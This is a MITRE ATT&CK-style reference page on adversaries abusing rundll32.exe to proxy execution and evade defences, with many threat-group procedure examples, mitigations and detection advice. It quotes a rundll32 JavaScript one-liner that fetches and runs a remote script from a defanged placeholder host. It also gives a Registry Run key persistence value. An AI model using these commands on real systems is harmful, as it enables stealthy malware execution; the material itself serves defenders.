System Binary Proxy Execution: Rundll32

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {{DLLname, DLLfunction}}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. [1]

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. [2]

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.[3][4] DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.[5]

ID: T1218.011
Sub-technique of:  T1218
Tactic: Defense Evasion
Platforms: Windows
Defense Bypassed: Anti-virus, Application control, Digital Certificate Validation
Contributors: Casey Smith; Gareth Phillips, Seek Ltd.; James_inthe_box, Me; Ricardo Dias
Version: 2.0
Created: 23 January 2020
Last Modified: 19 April 2022

Procedure Examples

ID Name Description
S0045 ADVSTORESHELL

ADVSTORESHELL has used rundll32.exe in a Registry value to establish persistence.[6]

G0073 APT19

APT19 configured its payload to inject into the rundll32.exe.[7]

G0007 APT28

APT28 executed CHOPSTICK by using rundll32 commands such as rundll32.exe "C:\Windows\twain_64.dll". APT28 also executed a .dll for a first stage dropper using rundll32.exe. An APT28 loader Trojan saved a batch script that uses rundll32 to execute a DLL payload.[8][6][9][10][11][12]

G0016 APT29

APT29 has used Rundll32.exe to execute payloads.[13][14][15]

G0022 APT3

APT3 has a tool that can run DLLs.[16]

G0050 APT32

APT32 malware has used rundll32.exe to execute an initial infection process.[17]

G0082 APT38

APT38 has used rundll32.exe to execute binaries, scripts, and Control Panel Item files and to execute code via proxy to avoid triggering security tools.[18]

G0096 APT41

APT41 has used rundll32.exe to execute a loader.[19]

S0438 Attor

Attor's installer plugin can schedule rundll32.exe to load the dispatcher.[20]

S0093 Backdoor.Oldrea

Backdoor.Oldrea can use rundll32 for execution on compromised hosts.[21]

S0606 Bad Rabbit

Bad Rabbit has used rundll32 to launch a malicious DLL as C:Windowsinfpub.dat.[22]

S0268 Bisonal

Bisonal has used rundll32.exe to execute as part of the Registry Run key it adds: HKEY_CURRENT_USER \Software\Microsoft\Windows\CurrentVersion\Run\"vert" = "rundll32.exe c:\windows\temp\pvcu.dll , Qszdez".[23]

S0520 BLINDINGCAN

BLINDINGCAN has used Rundll32 to load a malicious DLL.[24]

G0108 Blue Mockingbird

Blue Mockingbird has executed custom-compiled XMRIG miner DLLs using rundll32.exe.[25]

S0635 BoomBox

BoomBox can use RunDLL32 for execution.[26]

S0204 Briba

Briba uses rundll32 within Registry Run Keys / Startup Folder entries to execute malicious DLLs.[27]

G0008 Carbanak

Carbanak installs VNC server software that executes through rundll32.[28]

S0154 Cobalt Strike

Cobalt Strike can use rundll32.exe to load DLL from the command line.[29]

S0244 Comnie

Comnie uses Rundll32 to load a malicious DLL.[30]

G0052 CopyKittens

CopyKittens uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.[31]

S0137 CORESHELL

CORESHELL is installed via execution of rundll32 with an export named "init" or "InitW."[32]

S0046 CozyCar

The CozyCar dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main CozyCar component.[33]

S0255 DDKONG

DDKONG uses Rundll32 to ensure only a single instance of itself is running at once.[34]

S0554 Egregor

Egregor has used rundll32 during execution.[35]

S0081 Elise

After copying itself to a DLL file, a variant of Elise calls the DLL file using rundll32.exe.[36]

S0082 Emissary

Variants of Emissary have used rundll32.exe in Registry values added to establish persistence.[37]

S0634 EnvyScout

EnvyScout has the ability to proxy execution of malicious files with Rundll32.[26]

S0568 EVILNUM

EVILNUM can execute commands and scripts through rundll32.[38]

S0512 FatDuke

FatDuke can execute via rundll32.[39]

S0267 FELIXROOT

FELIXROOT uses Rundll32 for executing the dropper program.[40][41]

S0143 Flame

Rundll32.exe is used as a way of executing Flame at the command-line.[42]

G0047 Gamaredon Group

Gamaredon Group malware has used rundll32 to launch additional malicious components.[43]

S0032 gh0st RAT

A gh0st RAT variant has used rundll32 for execution.[44]

S0342 GreyEnergy

GreyEnergy uses PsExec locally in order to execute rundll32.exe at the highest privileges (NTAUTHORITY\SYSTEM).[41]

G0125 HAFNIUM

HAFNIUM has used rundll32 to load malicious DLLs.[45]

S0698 HermeticWizard

HermeticWizard has the ability to create a new process using rundll32.[46]

S0260 InvisiMole

InvisiMole has used rundll32.exe for execution.[47]

S0044 JHUHUGIT

JHUHUGIT is executed using rundll32.exe.[48][49]

G0094 Kimsuky

Kimsuky has used rundll32.exe to execute malicious scripts and malware on a victim's network.[50]

S0250 Koadic

Koadic can use Rundll32 to execute additional payloads.[51]

S0356 KONNI

KONNI has used Rundll32 to execute its loader for privilege escalation purposes.[52][53]

S0236 Kwampirs

Kwampirs uses rundll32.exe in a Registry value added to establish persistence.[54]

G0032 Lazarus Group

Lazarus Group has used rundll32 to execute malicious payloads on a compromised host.[55][56][57]

G0140 LazyScripter

LazyScripter has used rundll32.exe to execute Koadic stagers.[58]

S0167 Matryoshka

Matryoshka uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.[59]

S0576 MegaCortex

MegaCortex has used rundll32.exe to load a DLL for file encryption.[60]

S0256 Mosquito

Mosquito's launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability.[61]

G0069 MuddyWater

MuddyWater has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll.[62]

S0637 NativeZone

NativeZone has used rundll32 to execute a malicious DLL.[63]

S0353 NOKKI

NOKKI has used rundll32 for execution.[64]

S0368 NotPetya

NotPetya uses rundll32.exe to install itself on remote systems when accessed via PsExec or wmic.[65]

S0518 PolyglotDuke

PolyglotDuke can be executed using rundll32.exe.[39]

S0139 PowerDuke

PowerDuke uses rundll32.exe to load.[66]

S0113 Prikormka

Prikormka uses rundll32.exe to load its DLL.[67]

S0147 Pteranodon

Pteranodon executes functions using rundll32.exe.[68]

S0196 PUNCHBUGGY

PUNCHBUGGY can load a DLL using Rundll32.[69]

S0650 QakBot

QakBot can use Rundll32.exe to enable C2 communication.[70][71][72][73]

S0481 Ragnar Locker

Ragnar Locker has used rundll32.exe to execute components of VirtualBox.[74]

S0148 RTM

RTM runs its core DLL file using rundll32.exe.[75][76]

S0074 Sakula

Sakula calls cmd.exe to run various DLL files via rundll32.[77]

G0034 Sandworm Team

Sandworm Team used a backdoor which could execute a supplied DLL using rundll32.exe.[78]

S0382 ServHelper

ServHelper contains a module for downloading and executing DLLs that leverages rundll32.exe.[79]

S0589 Sibot

Sibot has executed downloaded DLLs with rundll32.exe.[80]

S0142 StreamEx

StreamEx uses rundll32 to call an exported function.[81]

S0559 SUNBURST

SUNBURST used Rundll32 to execute payloads.[14]

G0092 TA505

TA505 has leveraged rundll32.exe to execute malicious DLLs.[82][79]

G0127 TA551

TA551 has used rundll32.exe to load malicious DLLs.[83]

S0452 USBferry

USBferry can execute rundll32.exe in memory to avoid detection.[84]

S0141 Winnti for Windows

The Winnti for Windows installer loads a DLL using rundll32.[85][86]

S0412 ZxShell

ZxShell has used rundll32.exe to execute other DLLs and named pipes.[87]

Mitigations

ID Mitigation Description
M1050 Exploit Protection

Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass application control.

Detection

ID Data Source Data Component
DS0017 Command Command Execution
DS0022 File File Metadata
DS0011 Module Module Load
DS0009 Process Process Creation

Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.

Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.

References

  1. Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.
  2. B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.
  3. Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.
  4. gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.
  5. Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022.
  6. Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.
  7. Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.
  8. Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.
  9. Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.
  10. Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.
  11. ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.
  12. NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.
  13. MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.
  14. MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.
  15. Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.
  16. Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.
  17. Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.
  18. DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021.
  19. Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.
  20. Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.
  21. Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021.
  22. Mamedov, O. Sinitsyn, F. Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021.
  23. Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.
  24. US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020.
  25. Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.
  26. MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021.
  27. Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.
  28. Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.
  29. Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.
  30. Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.
  31. ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.
  32. Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.
  33. F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.
  34. Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.
  35. Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020.
  36. Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.
  37. Falcone, R. and Miller-Osborn, J. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.
  38. Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021.
  39. Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.
  40. Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.
  41. Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.
  42. sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks. Retrieved September 6, 2018.
  43. Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.
  44. Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018.
  1. Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.
  2. ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022.
  3. Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.
  4. F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.
  5. Mercer, W., et al. (2017, October 22). "Cyber Conflict" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.
  6. An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.
  7. Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.
  8. Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020.
  9. Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022.
  10. Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.
  11. Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.
  12. Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.
  13. Cherepanov, Anton. (2019, November 10). ESETresearch discovered a trojanized IDA Pro installer. Retrieved March 2, 2022.
  14. Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021.
  15. Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.
  16. Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021.
  17. ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.
  18. Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.
  19. Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021.
  20. Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.
  21. Chiu, A. (2016, June 27). New Ransomware Variant "Nyetya" Compromises Systems Worldwide. Retrieved March 26, 2019.
  22. Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.
  23. Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.
  24. Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.
  25. Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.
  26. CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021.
  27. Rainey, K. (n.d.). Qbot. Retrieved September 27, 2021.
  28. Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021.
  29. Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021.
  30. SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.
  31. Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.
  32. Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020.
  33. Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.
  34. Cherepanov, A.. (2017, July 4). Analysis of TeleBots’ cunning backdoor . Retrieved June 11, 2020.
  35. Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.
  36. Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.
  37. Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV’s Radar. Retrieved February 15, 2017.
  38. Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.
  39. Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021.
  40. Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.
  41. Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.
  42. Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.
  43. Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.